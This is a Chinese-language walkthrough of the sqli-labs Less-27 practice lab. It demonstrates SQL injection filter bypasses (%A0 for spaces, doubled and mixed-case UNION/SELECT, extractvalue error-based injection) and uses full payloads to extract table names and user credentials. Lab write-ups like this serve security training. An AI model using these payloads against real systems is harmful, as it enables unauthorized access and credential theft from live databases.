#绕过union和select绕过方式
1.大小写绕过
?id=0’%A0u
NI
on%A0se
LE
c
T
%A01,2,3%A0and%A0’1’=’1
2.复写单词绕过
?id=0’%A0uni
union
on%A0s
select
elect%A01,2,3%A0and%A0’1’=’1
3.报错注入
#演示案例
1.复写绕过
sqli-labs-master/Less-27
1.判断闭合方式,
判断是否有注入点
?id=1’%A0and%A0’1’=’1
首先丢个参数进去
?id=1
页面正常回显
随便丢个’引号进去,确定一下闭合方式
页面回显
”1” LIMIT 0,1′
‘1
‘
‘ LIMIT 0,1红色部分来自我的输入
确定闭合方式’单引号闭合
输入#号 ,将后面的内容都注释掉
页面还是报错,并不是我们输入的有问题
重点看蓝色部分,他把我们输入的 #给过滤掉了
本来我们输入的是?id=1’#
到了数据库就变成了?id=1′
所以报错。
以上推论注释符被过滤
使用and ‘1’=’1 进行手动闭合
页面回显虽然正常,但是还是重点看蓝色的部分,我们输入的空格被过滤掉了
原本是?id=1′ and ‘1’=’1
变成了 ?id=1’and’1’=’1
使用%A0代替空格,此时才是正常的
输入 ?id=1’%A0and%A0’1’=’2
页面报错 ,确定有注入点
2.确定数据库的字段数
/?id=1’%A0ununionion%A0sselectelecT%A01,2,3%A0and%A0’1’=’1
这一关依旧使用order by测试不出来字段数还是使用union进行测试
url: ?id=1’%A0ununionion%A0sselectelecT%A01,2%A0and%A0’1’=’1
报错
url:?id=1’%A0ununionion%A0sselectelecT%A01,2,3%A0and%A0’1’=’1
测试到3的时候页面正常回显。确定页面一共3个字段
3.确定显示再页面的字段
?id=0’%A0ununionion%A0sselectelecT%A01,2,3%A0and%A0’1’=’1
因为源码把-号也给过滤了,所以只能使用0或者一个不存在的值
确定显示字段为1,2
4.获取数据库名
?id=0’%A0ununionion%A0seselectlecT%A01,(database()),3%A0and%A0’1’=’1
确定当前数据库名为security
5.获取所有数据表
?id=0’%A0ununionion%A0sselecteleCt%A01,(sselectelecT%A0group_concat(table_name)
from%A0information_Schema.tables%A0where%A0
table_schema=database()),3%A0and%A0’1’=’1
数据表为
emails,
referers,
uagents,
users
6.获取字段(列)信息
?id=0’%A0ununionion%A0sselecteleCt%A01,(sselectelecT%A0group_concat(column_name)
from%A0information_Schema.columns%A0where%A0
table_schema=database()%A0and%A0table_name=’users’),3%A0and%A0’1’=’1
字段为
id,
username,
password
7.拖库
?id=0’%A0uunionnion%A0sselectelecT%A01,(sselectelecT%A0group_concat(username,’~~’,password)from%A0security.users),
3%A0and%A0’1’=’1
2.大小写绕过
1.判断闭合方式,判断是否有注入点
输入个参数页面正常回显
丢个’号进去页面报错
确定闭合方式’单引号闭合
输入注释符,将后面的代码注释
从页面回显来看,我们输入的注释符被过滤了
使用and ‘1’=’1 进行手动闭合
从蓝色部分来看,我们输入的空格也被过滤了
使用%A0代替空格 ,页面正常
输入?id=1’%A0and%A0’1’=’2
页面报错确定存在注入点
2.确定字段数
?id=1’%A0UnIOn%A0SelecT%A01,2,3%A0and%A0’1’=’1
url:?id=1’%A0UnIOn%A0SelecT%A01,2%A0and%A0’1’=’1
从1字段一直查询到2字段的时候,页面都报错
当查询到3的时候页面正常回显,确定一共3个字段
3.确定回显位
id=0’%A0UnIOn%A0SelecT%A01,2,3%A0and%A0’1’=’1
确定回显再页面的字段为1,2
4.获取数据库
?id=0’%A0uNiOn%A0sELeCt%A01,(database()),3%A0and%A0’1’=’1
确定当前 数据库为Security
5.获取数据表
?id=0’%A0UnIoN%A0SelEcT%A01,(SeLect%A0group_concat(table_name)from%A0information_schema.tables%A0
where%A0table_schema=database()),3%A0and%A0’1’=’1
emails,referers,uagents,users
6.获取列(字段)信息
?id=0’%A0UnIoN%A0SelEcT%A01,(SeLect%A0group_concat(column_name)from%A0information_schema.columns%A0
where%A0table_schema=database()%A0and%A0table_name=’users’),3%A0and%A0’1’=’1
id,
username,
password
7.拖库
?id=0’%A0UnIon%A0SeLeCT%A01,(SeLeCt%A0group_concat(username,’~~’,password)
from%A0security.users),3%A0and%A0’1’=’1
3.使用报错注入
1.判断闭合方式确定是否有注入点
/?id=1’%A0and%A0’1’=’2
输入个参数,页面正常回显
经页面回显,判断闭合方式为’单引号闭合
使用注释符进行闭合,看页面能否正常显示
从页面和蓝色部分判断他把我们输入的#注释符给吃了
使用单引号进行手动闭合。闭合成功了但是他把空格也给过滤了
使用%A0代替 空格,蓝色部分回显成功。并且页面没有报错
使用and ‘1’=’2
页面报错,确定有注入点。
并且从上面我们再输入’单引号的时候,页面有爆粗回显,确定可以使用报错注入
以上结果,将空格过滤,将注释符过滤。
2.获取数据库名
?id=1’%A0and%A0extractvalue(1,concat(‘~’,(database())))%A0and%A0’1’=’1
经页面回显,数据库名为Security
3.获取数据表
?id=1’%A0and%A0extractvalue(1,concat(1,concat(‘~’,(sElEcT%A0group_concat(table_name)from
%A0information_schema.tables%A0where%A0table_schema=database()))))
%A0and%A0’1’=’1
4.获取(列)字段信息
?id=1’%A0and%A0extractvalue(1,concat(1,concat(‘~’,(sElEcT%A0group_concat(column_name)from
%A0information_schema.columns%A0where%A0table_schema=database()%A0and%A0table_name=’users’))))%A0and%A0’1’=’1
~id,username,password’
5.拖库
/?id=1’%A0and%A0extractvalue(1,concat(‘~’,(substr((sElEct%A0group_concat(username,’!!’,password)from%A0security.users),1,30))))%A0and%A0’1’=’1